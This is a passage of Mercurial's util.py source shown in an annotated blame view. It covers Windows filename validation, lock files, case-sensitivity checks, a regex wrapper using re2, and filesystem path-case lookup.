    >>> checkwinfilename(b"foo\\/bar")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1686
    "directory name ends with '\\', which is invalid on Windows"
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1687
    '''
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1688
    if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1689
        return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1690
    if '\\/' in path:
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1691
        return _("directory name ends with '\\', which is invalid on Windows")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1692
    for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1693
        if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1694
            continue
32131
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
  1695
        for c in _filenamebytestr(n):
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1696
            if c in _winreservedchars:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1697
                return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1698
                         "on Windows") % c
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1699
            if ord(c) <= 31:
34361
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34358
diff changeset
  1700
                return _("filename contains '%s', which is invalid "
37087
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37086
diff changeset
  1701
                         "on Windows") % stringutil.escapestr(c)
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1702
        base = n.split('.')[0]
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1703
        if base and base.lower() in _winreservednames:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1704
            return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1705
                     "on Windows") % base
34362
7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  1706
        t = n[-1:]
15358
a347b3614bae util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents: 15159
diff changeset
  1707
        if t in '. ' and n not in '..':
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1708
            return _("filename ends with '%s', which is not allowed "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1709
                     "on Windows") % t
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1710
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
  1711
if pycompat.iswindows:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1712
    checkosfilename = checkwinfilename
30994
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
  1713
    timer = time.clock
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1714
else:
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
  1715
    checkosfilename = platform.checkosfilename
30994
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
  1716
    timer = time.time
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
  1717
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
  1718
if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
  1719
    timer = time.perf_counter
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1720
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1721
def makelock(info, pathname):
36724
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36722
diff changeset
  1722
    """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36722
diff changeset
  1723
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36722
diff changeset
  1724
    This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36722
diff changeset
  1725
    interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36722
diff changeset
  1726
    """
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1727
    try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1728
        return os.symlink(info, pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1729
    except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1730
        if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1731
            raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1732
    except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1733
        pass
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1734
36791
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36790
diff changeset
  1735
    flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36790
diff changeset
  1736
    ld = os.open(pathname, flags)
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1737
    os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1738
    os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1739
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1740
def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1741
    try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1742
        return os.readlink(pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1743
    except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1744
        if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1745
            raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1746
    except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1747
        pass
36791
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36790
diff changeset
  1748
    fp = posixfile(pathname, 'rb')
13400
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1749
    r = fp.read()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1750
    fp.close()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1751
    return r
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1752
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1753
def fstat(fp):
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1754
    '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1755
    try:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1756
        return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1757
    except AttributeError:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1758
        return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1759
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1760
# File system features
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1761
29893
6f447b9ec263 util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents: 29843
diff changeset
  1762
def fscasesensitive(path):
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1763
    """
18911
451eb1c27c1b util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents: 18868
diff changeset
  1764
    Return true if the given path is on a case-sensitive filesystem
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1765
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1766
    Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1767
    directory component.
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1768
    """
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
  1769
    s1 = os.lstat(path)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1770
    d, b = os.path.split(path)
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1771
    b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1772
    if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1773
        b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1774
        if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1775
            return True # no evidence against case sensitivity
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1776
    p2 = os.path.join(d, b2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1777
    try:
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
  1778
        s2 = os.lstat(p2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1779
        if s2 == s1:
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1780
            return False
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1781
        return True
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
  1782
    except OSError:
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1783
        return True
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1784
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1785
try:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1786
    import re2
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1787
    _re2 = None
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1788
except ImportError:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1789
    _re2 = False
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1790
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1791
class _re(object):
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1792
    def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1793
        global _re2
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1794
        try:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1795
            # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1796
            _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1797
        except ImportError:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1798
            _re2 = False
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1799
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1800
    def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1801
        '''Compile a regular expression, using re2 if possible
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1802
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1803
        For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1804
        only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1805
        IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1806
        if _re2 is None:
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1807
            self._checkre2()
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1808
        if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1809
            if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1810
                pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1811
            if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1812
                pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1813
            try:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1814
                return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1815
            except re2.error:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1816
                pass
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1817
        return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1818
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1819
    @propertycache
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1820
    def escape(self):
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1821
        '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1822
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1823
        This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1824
        function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1825
        '''
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1826
        global _re2
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1827
        if _re2 is None:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1828
            self._checkre2()
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1829
        if _re2:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1830
            return re2.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1831
        else:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1832
            return remod.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1833
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1834
re = _re()
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1835
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1836
_fspathcache = {}
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1837
def fspath(name, root):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1838
    '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1839
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1840
    The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1841
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1842
    Note that this function is unnecessary, and should not be
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1843
    called, for case-sensitive filesystems (simply because it's expensive).
15670
d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15669
diff changeset
  1844
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1845
    The root should be normcase-ed, too.
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1846
    '''
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1847
    def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1848
        return dict((normcase(n), n) for n in os.listdir(dir))
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1849
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
  1850
    seps = pycompat.ossep
30630
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
  1851
    if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
  1852
        seps = seps + pycompat.osaltsep
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1853
    # Protect backslashes. This gets silly very quickly.
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1854
    seps.replace('\\','\\\\')
31503
670166e0fcaa util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents: 31502
diff changeset
  1855
    pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
  1856
    dir = os.path.normpath(root)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1857
    result = []
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1858
    for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1859
        if sep:
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1860
            result.append(sep)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1861
            continue
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1862
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
  1863
        if dir not in _fspathcache:
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1864
            _fspathcache[dir] = _makefspathcacheentry(dir)
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
  1865
        contents = _fspathcache[dir]
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1866
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1867
        found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1868
        if not found:
15720
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
  1869
            # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
  1870
            # may take place for each patches of "hg qpush", for example
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1871
            _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1872
            found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1873
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1874
        result.append(found or part)
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
  1875
        dir = os.path.join(dir, part)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1876
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1877
    return ''.join(result)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1878
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1879
def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1880
    '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1881
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
